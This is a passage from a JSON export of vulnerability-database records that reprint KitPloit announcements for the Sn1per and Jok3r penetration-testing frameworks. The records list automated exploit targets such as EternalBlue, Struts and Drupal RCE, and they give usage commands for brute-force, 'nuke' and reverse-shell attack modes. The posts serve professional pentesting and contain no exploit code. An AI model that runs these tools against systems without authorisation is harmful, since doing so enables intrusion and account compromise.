"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-07-05T13:45:00", "type": "kitploit", "title": "Sn1per v5.0 - Automated Pentest Recon Scanner", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2017-5638", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-7600"], "modified": "2018-07-05T13:45:01", "id": "KITPLOIT:7835941952769002973", "href": "http://www.kitploit.com/2018/07/sn1per-v50-automated-pentest-recon.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:17:53", "description": "[](<https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner>) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test>) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[](<https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[](<https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[](<https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s1600/Sn1per_10.png>)\n\n \n \n**Categorized host reports** \n \n\n\n[](<https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png>)\n\n \n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[](<https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Personalized notes field for each host** \n \n\n\n[](<https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s1600/Sn1per_13.png>)\n\n \n \n**DEMO VIDEO:** \n[](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>) \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**AUTO-PWN:** \n\n\n * Drupal Drupalgedon2 RCE CVE-2018-7600\n * GPON Router RCE CVE-2018-10561\n * [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 RCE CVE-2017-5638\n * Apache Struts 2 RCE CVE-2017-9805\n * Apache Jakarta RCE CVE-2017-5638\n * Shellshock GNU Bash RCE CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * Default Apache Tomcat Creds CVE-2009-3843\n * MS Windows SMB RCE MS08-067\n * Webmin File Disclosure CVE-2006-3392\n * [Anonymous FTP](<https://www.kitploit.com/search/label/Anonymous%20FTP>) Access\n * PHPMyAdmin Backdoor RCE\n * PHPMyAdmin Auth Bypass\n * JBoss Java De-Serialization RCE's\n \n**KALI LINUX INSTALL:** \n\n \n \n ./install.sh\n\n \n**DOCKER INSTALL:** \nCredits: @menzow \nDocker Install: <https://github.com/menzow/sn1per-docker> \nDocker Build: <https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/> \nExample usage: \n\n \n \n $ docker pull menzo/sn1per-docker\n $ docker run --rm -ti menzo/sn1per-docker sniper menzo.io\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON\n sniper -t|--target <TARGET> -o|--osint -re|--recon\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TARGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **UPDATE:** Checks for updates and upgrades all components used by sniper.\n * **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports.\n * **RELOAD:** Reload the master workspace report.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per v5.0](<https://github.com/1N3/Sn1per>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-11-24T12:43:00", "type": "kitploit", "title": "Sn1per v6.0 - Automated Pentest Framework For Offensive Security Experts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2017-5638", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-7600"], "modified": "2018-11-24T12:43:00", "id": "KITPLOIT:8672599587089685905", "href": "http://www.kitploit.com/2018/11/sn1per-v60-automated-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-07-04T12:36:49", "description": "[](<https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner> \"automated scanner\" ) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test> \"penetration test\" ) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ).\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[](<https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[](<https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[](<https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s1600/Sn1per_10.png>)\n\n \n**Detailed host reports** \n \n\n\n[](<https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s1600/Sn1per_11.png>)\n\n \n**NMap HTML host reports** \n \n\n\n[](<https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[](<https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s1600/Sn1per_13.png>)\n\n \n**Takeovers and Email Security** \n \n\n\n[](<https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s1600/Sn1per_14.png>)\n\n \n**HTML5 Notepad** \n \n\n\n[](<https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s1600/Sn1per_15.png>)\n\n \n**ORDER SN1PER PROFESSIONAL:** \nTo obtain a Sn1per Professional license, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ). \n \n**DEMO VIDEO:** \n \n \n\n\n[](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>)\n\n \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**EXPLOITS:** \n\n\n * Drupal RESTful Web Services unserialize() SA-CORE-2019-003\n * Apache Struts: S2-057 (CVE-2018-11776): Security updates available for Apache Struts\n * Drupal: CVE-2018-7600: [Remote Code Execution](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"Remote Code Execution\" ) \\- SA-CORE-2018-002\n * GPON Routers - Authentication Bypass / [Command Injection](<https://www.kitploit.com/search/label/Command%20Injection> \"Command Injection\" ) CVE-2018-10561\n * MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption\n * Apache Tomcat: Remote Code Execution (CVE-2017-12617)\n * Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution CVE-2017-10271\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Apache Struts 2 Framework Checks - REST plugin with XStream handler (CVE-2017-9805)\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Microsoft IIS WebDav ScStoragePathFromUrl Overflow CVE-2017-7269\n * ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability CVE-2015-8249\n * Shellshock Bash Shell remote code execution CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)\n * Tomcat Application Manager Default Ovwebusr Password Vulnerability CVE-2009-3843\n * MS08-067 Microsoft Server Service Relative Path Stack Corruption\n * Webmin File Disclosure CVE-2006-3392\n * VsFTPd 2.3.4 Backdoor\n * ProFTPd 1.3.3C Backdoor\n * MS03-026 Microsoft RPC DCOM Interface Overflow\n * DistCC Daemon Command Execution\n * JBoss Java De-Serialization\n * HTTP Writable Path PUT/DELETE File Access\n * Apache Tomcat User Enumeration\n * Tomcat Application Manager Login Bruteforce\n * Jenkins-CI Enumeration\n * HTTP WebDAV Scanner\n * Android Insecure ADB\n * Anonymous FTP Access\n * PHPMyAdmin Backdoor\n * PHPMyAdmin Auth Bypass\n * OpenSSH User Enumeration\n * LibSSH Auth Bypass\n * SMTP User Enumeration\n * Public NFS Mounts\n \n**KALI LINUX INSTALL:** \n\n \n \n bash install.sh\n\n \n**UBUNTU/DEBIAN/PARROT INSTALL:** \n\n \n \n bash install_debian_ubuntu.sh\n\n \n**DOCKER INSTALL:** \n\n \n \n docker build Dockerfile\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE\n sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] FLYOVER MODE\n sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TA RGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT HTTP MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT HTTPS MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] WEBSCAN MODE\n sniper -t|--target <TARGET> -m|--mode webscan\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] LOOT REIMPORTALL FUNCTION\n sniper -w <WORKSPACE_ALIAS& gt; --reimportall\n \n [*] DELETE WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -d\n \n [*] DELETE HOST FROM WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh\n \n [*] SCHEDULED SCANS'\n sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly'\n \n [*] SCAN STATUS\n sniper --status\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly).\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per](<https://github.com/1N3/Sn1per> \"Download Sn1per\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-12T13:09:00", "type": "kitploit", "title": "Sn1per v7.0 - Automated Pentest Framework For Offensive Security Experts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2015-8249", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-5638", "CVE-2017-7269", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-11776", "CVE-2018-7600"], "modified": "2019-05-12T13:09:05", "id": "KITPLOIT:7013881512724945934", "href": "http://www.kitploit.com/2019/05/sn1per-v70-automated-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:17:44", "description": "[](<https://2.bp.blogspot.com/-b-yEHDNsbTk/XEN8U7E8E2I/AAAAAAAAN8A/cGC9Z8NjoSUkGMyEFR9xJYU2XISstK8EgCLcBGAs/s1600/jok3r_1_logo.png>)\n\n \n_Jok3r_ is a Python3 CLI application which is aimed at **helping penetration testers for network infrastructure and web black-box security tests**. \nIts main goal is to **save time on everything that can be automated during network/web pentest in order to enjoy more time on more interesting and challenging stuff**. \nTo achieve that, it **combines open-source Hacking tools to run various security checks against all common network services.** \n** \n** [](<https://draft.blogger.com/null>) \n**Main features** \n**Toolbox management**: \n\n\n * Install automatically all the hacking tools used by _Jok3r_,\n * Keep the toolbox up-to-date,\n * Easily add new tools.\n**Attack automation**: \n\n\n * Target most common network services (including web),\n * Run security checks by chaining hacking tools, following standard process (Reconaissance, Vulnerability scanning, Exploitation, Account bruteforce, (Basic) Post-exploitation).\n * Let _Jok3r_ automatically choose the checks to run according to the context and knowledge about the target,\n**Mission management / Local database**: \n\n\n * Organize targets by missions in local database,\n * Fully manage missions and targets (hosts/services) via interactive shell (like msfconsole db),\n * Access results from security checks.\n_Jok3r_ has been built with the ambition to be easily and quickly customizable: Tools, security checks, supported network services... can be easily added/edited/removed by editing settings files with an easy-to-understand syntax. \n \n[](<https://draft.blogger.com/null>) \n**Installation** \n**The recommended way to use Jok3r is inside a Docker container so you will not have to worry about dependencies issues and installing the various hacking tools of the toolbox.** \n \nA Docker image is available on Docker Hub and automatically re-built at each update: <https://hub.docker.com/r/koutto/jok3r/>. It is initially based on official Kali Linux Docker image (kalilinux/kali-linux-docker). \n \n**Pull Jok3r Docker Image:** \n\n \n \n sudo docker pull koutto/jok3r\n\n**Run fresh Docker container:** \n\n \n \n sudo docker run -i -t --name jok3r-container -w /root/jok3r --net=host koutto/jok3r\n\n**Important: --net=host option is required to share host's interface. It is needed for reverse connections (e.g. Ping to container when testing for RCE, Get a reverse shell)** \nJok3r and its toolbox is ready-to-use ! \n\n\n * To re-run a stopped container:\n \n \n sudo docker start -i jok3r-container\n\n * To open multiple shells inside the container:\n \n \n sudo docker exec -it jok3r-container bash\n\nFor information about building your own Docker image or installing _Jok3r_ on your system without using Docker, refer to <https://jok3r.readthedocs.io/en/latest/installation.html> \n \n[](<https://draft.blogger.com/null>) \n**Quick usage examples** \n**Show all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --show-all\n\n**Install all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --install-all --fast\n\n**Update all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --update-all --fast\n\n**List supported services** \n\n \n \n python3 jok3r.py info --services\n\n**Show security checks for HTTP** \n\n \n \n python3 jok3r.py info --checks http\n\n**Create a new mission in local database** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n**Run security checks against an URL and add results to the mission** \n\n \n \n python3 jok3r.py attack -t https://www.example.com/webapp/ --add MayhemProject\n\n**Run security checks against a MSSQL service (without user-interaction) and add results to the mission** \n\n \n \n python3 jok3r.py attack -t 192.168.1.42:1433 -s mssql --add MayhemProject --fast\n\n**Import hosts/services from Nmap results into the mission scope** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission MayhemProject\n \n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]> nmap results.xml\n\n**Run security checks against all services in the given mission and store results in the database** \n\n \n \n python3 jok3r.py attack -m MayhemProject --fast\n\n**Run security checks against only FTP services running on ports 21/tcp and 2121/tcp from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=21,2121;service=ftp\" --fast\n\n**Run security checks against only FTP services running on ports 2121/tcp and all HTTP services on 192.168.1.42 from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=2121;service=ftp\" -f \"ip=192.168.1.42;service=http\"\n\n[](<https://draft.blogger.com/null>) \n \n**Typical usage example** \nYou begin a pentest with several servers in the scope. Here is a typical example of usage of _JoK3r_: \n\n\n 1. You run _Nmap_ scan on the servers in the scope.\n 2. You create a new mission (let's say \"MayhemProject\") in the local database:\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n 3. You import your results from _Nmap_ scan in the database:\n \n \n jok3rdb[MayhemProject]> nmap results.xml\n\n 4. You can then have a quick overview of all services and hosts in the scope, add some comments, add some credentials if you already have some knowledge about the targets (grey box pentest), and so on\n \n \n jok3rdb[MayhemProject]> hosts\n \n [...]\n \n jok3rdb[MayhemProject]> services\n \n [...]\n\n 5. Now, you can run security checks against some targets in the scope. For example, if you want to run checks against all Java-RMI services in the scope, you can run the following command:\n \n \n python3 jok3r.py attack -m MayhemProject -f \"service=java-rmi\" --fast\n\n 6. You can view the results from the security checks either in live when the tools are executed or later from the database using the following command:\n \n \n jok3rdb[MayhemProject]> results\n\n[](<https://draft.blogger.com/null>) \n \n**Full Documentation** \nDocumentation is available at: <https://jok3r.readthedocs.io/> \n \n[](<https://draft.blogger.com/null>) \n**Supported Services & Security Checks ** \n**Lots of checks remain to be implemented and services must be added !! Work in progress ...** \n\n\n * [AJP (default 8009/tcp)](<https://github.com/koutto/jok3r#ajp-default-8009-tcp>)\n * [FTP (default 21/tcp)](<https://github.com/koutto/jok3r#ftp-default-21-tcp>)\n * [HTTP (default 80/tcp)](<https://github.com/koutto/jok3r#http-default-80-tcp>)\n * [Java-RMI (default 1099/tcp)](<https://github.com/koutto/jok3r#java-rmi-default-1099-tcp>)\n * [JDWP (default 9000/tcp)](<https://github.com/koutto/jok3r#jdwp-default-9000-tcp>)\n * [MSSQL (default 1433/tcp)](<https://github.com/koutto/jok3r#mssql-default-1433-tcp>)\n * [MySQL (default 3306/tcp)](<https://github.com/koutto/jok3r#mysql-default-3306-tcp>)\n * [Oracle (default 1521/tcp)](<https://github.com/koutto/jok3r#oracle-default-1521-tcp>)\n * [PostgreSQL (default 5432/tcp)](<https://github.com/koutto/jok3r#postgresql-default-5432-tcp>)\n * [RDP (default 3389/tcp)](<https://github.com/koutto/jok3r#rdp-default-3389-tcp>)\n * [SMB (default 445/tcp)](<https://github.com/koutto/jok3r#smb-default-445-tcp>)\n * [SMTP (default 